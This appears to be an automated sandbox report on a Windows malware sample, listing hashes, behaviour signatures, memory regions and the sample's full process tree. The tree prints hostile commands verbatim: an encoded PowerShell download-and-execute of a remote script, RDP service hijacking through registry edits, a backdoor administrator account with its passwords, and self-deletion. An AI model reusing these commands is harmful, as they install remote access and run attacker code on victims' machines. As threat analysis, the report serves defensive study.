Analysis

  • max time kernel
    68s
  • max time network
    114s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    25/03/2021, 18:32

General

  • Target

    d063fbcc3d30dfb51efdae96e4232813.exe

  • Size

    6.0MB

  • MD5

    d063fbcc3d30dfb51efdae96e4232813

  • SHA1

    d7934d41583758a2b713a8278d36e5e27c178a37

  • SHA256

    5090fa74f83368086c1d197dcd28e51f8b36cd5d2c18e9a964d925a445ea0066

  • SHA512

    bacb8305dd9ba9f0cbce4d56d67ac50ae825f52007d091e16fec111c2af4758294710129adbd0786e5cdfca2cd289e888e4b1e7b696957f0a87181d23011248a

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d063fbcc3d30dfb51efdae96e4232813.exe
    "C:\Users\Admin\AppData\Local\Temp\d063fbcc3d30dfb51efdae96e4232813.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:812
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2916
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fztlkpzc\fztlkpzc.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2272
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES818A.tmp" "c:\Users\Admin\AppData\Local\Temp\fztlkpzc\CSC500BE2C12FAB4ED68236FC9BB13C3A86.TMP"
          4⤵
            PID:3488
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2xraafww\2xraafww.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:912
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES84D5.tmp" "c:\Users\Admin\AppData\Local\Temp\2xraafww\CSCA04569138B8F42FE8092B91EB490B3E6.TMP"
            4⤵
              PID:3540
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3212
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2812
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2132
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            3⤵
              PID:2288
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              3⤵
              • Modifies registry key
              PID:2820
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              3⤵
                PID:3392
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3840
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  4⤵
                    PID:3836
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2104
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3824
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:940
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1148
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3768
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2356
                      • C:\Windows\system32\net.exe
                        net start TermService
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1380
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          6⤵
                            PID:4064
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      3⤵
                        PID:3760
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        3⤵
                          PID:4008
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /C timeout -n t& del C:\Users\Admin\AppData\Local\Temp\d063fbcc3d30dfb51efdae96e4232813.exe
                        2⤵
                          PID:3876
                          • C:\Windows\system32\timeout.exe
                            timeout -n t
                            3⤵
                            • Delays execution with timeout.exe
                            PID:1376
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe user wgautilacc Ghar4f5 /del
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3808
                        • C:\Windows\system32\net.exe
                          net.exe user wgautilacc Ghar4f5 /del
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:196
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                            3⤵
                              PID:640
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe user wgautilacc R1ViY0er /add
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1552
                          • C:\Windows\system32\net.exe
                            net.exe user wgautilacc R1ViY0er /add
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1516
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 user wgautilacc R1ViY0er /add
                              3⤵
                                PID:1688
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3832
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3580
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                3⤵
                                  PID:940
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" MKLUFVRL$ /ADD
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1324
                              • C:\Windows\system32\net.exe
                                net.exe LOCALGROUP "Remote Desktop Users" MKLUFVRL$ /ADD
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1152
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MKLUFVRL$ /ADD
                                  3⤵
                                    PID:2176
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2328
                                • C:\Windows\system32\net.exe
                                  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                  2⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:2288
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                    3⤵
                                      PID:2072
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user wgautilacc R1ViY0er
                                  1⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3760
                                  • C:\Windows\system32\net.exe
                                    net.exe user wgautilacc R1ViY0er
                                    2⤵
                                      PID:1336
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc R1ViY0er
                                        3⤵
                                          PID:912
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C wmic path win32_VideoController get name
                                      1⤵
                                        PID:940
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic path win32_VideoController get name
                                          2⤵
                                          • Modifies data under HKEY_USERS
                                          PID:2308
                                      • C:\Windows\System32\cmd.exe
                                        cmd.exe /C wmic CPU get NAME
                                        1⤵
                                          PID:1432
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic CPU get NAME
                                            2⤵
                                            • Modifies data under HKEY_USERS
                                            PID:3392
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                          1⤵
                                            PID:2328
                                            • C:\Windows\system32\cmd.exe
                                              cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              2⤵
                                                PID:3044
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                  3⤵
                                                  • Blocklisted process makes network request
                                                  • Drops file in Program Files directory
                                                  • Drops file in Windows directory
                                                  • Modifies data under HKEY_USERS
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:1336
                                            • C:\Windows\System32\cmd.exe
                                              cmd.exe /C net user wgautilacc 1234
                                              1⤵
                                                PID:2124
                                                • C:\Windows\system32\net.exe
                                                  net user wgautilacc 1234
                                                  2⤵
                                                    PID:2824
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 user wgautilacc 1234
                                                      3⤵
                                                        PID:1324

                                                  Network

                                                  MITRE ATT&CK Enterprise v6

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • memory/812-9-0x0000024A6E3F6000-0x0000024A6E3F7000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/812-8-0x0000024A6E3F5000-0x0000024A6E3F6000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/812-7-0x0000024A6E3F3000-0x0000024A6E3F5000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/812-6-0x0000024A6E3F0000-0x0000024A6E3F2000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/812-4-0x0000024A6E830000-0x0000024A6EC51000-memory.dmp

                                                    Filesize

                                                    4.1MB

                                                  • memory/812-3-0x00007FFB84B30000-0x00007FFB8551C000-memory.dmp

                                                    Filesize

                                                    9.9MB

                                                  • memory/812-2-0x0000000000870000-0x0000000000ECB000-memory.dmp

                                                    Filesize

                                                    6.4MB

                                                  • memory/1336-93-0x00007FFB84B30000-0x00007FFB8551C000-memory.dmp

                                                    Filesize

                                                    9.9MB

                                                  • memory/1336-94-0x00000291A0EF0000-0x00000291A0EF2000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/1336-95-0x00000291A0EF3000-0x00000291A0EF5000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/1336-98-0x00000291A0EF6000-0x00000291A0EF8000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/1336-99-0x00000291A0EF8000-0x00000291A0EF9000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2132-52-0x00007FFB84B30000-0x00007FFB8551C000-memory.dmp

                                                    Filesize

                                                    9.9MB

                                                  • memory/2132-56-0x000001E94A120000-0x000001E94A122000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2132-57-0x000001E94A123000-0x000001E94A125000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2132-59-0x000001E94A126000-0x000001E94A128000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2132-60-0x000001E94A128000-0x000001E94A12A000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2812-48-0x00000221693F0000-0x00000221693F2000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2812-55-0x00000221693F8000-0x00000221693FA000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2812-46-0x00007FFB84B30000-0x00007FFB8551C000-memory.dmp

                                                    Filesize

                                                    9.9MB

                                                  • memory/2812-49-0x00000221693F3000-0x00000221693F5000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2812-54-0x00000221693F6000-0x00000221693F8000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2916-13-0x000002584BBC0000-0x000002584BBC1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2916-34-0x000002584BBA0000-0x000002584BBA1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2916-14-0x00000258320F0000-0x00000258320F2000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2916-12-0x000002584BA10000-0x000002584BA11000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2916-11-0x00007FFB84B30000-0x00007FFB8551C000-memory.dmp

                                                    Filesize

                                                    9.9MB

                                                  • memory/2916-61-0x00000258320F8000-0x00000258320F9000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2916-25-0x000002584BB70000-0x000002584BB71000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2916-35-0x000002584C1C0000-0x000002584C1C1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2916-16-0x00000258320F3000-0x00000258320F5000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2916-36-0x000002584C550000-0x000002584C551000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2916-18-0x00000258320F6000-0x00000258320F8000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3212-45-0x000002198FE78000-0x000002198FE7A000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3212-43-0x000002198FE76000-0x000002198FE78000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3212-39-0x000002198FE70000-0x000002198FE72000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3212-38-0x00007FFB84B30000-0x00007FFB8551C000-memory.dmp

                                                    Filesize

                                                    9.9MB

                                                  • memory/3212-41-0x000002198FE73000-0x000002198FE75000-memory.dmp

                                                    Filesize

                                                    8KB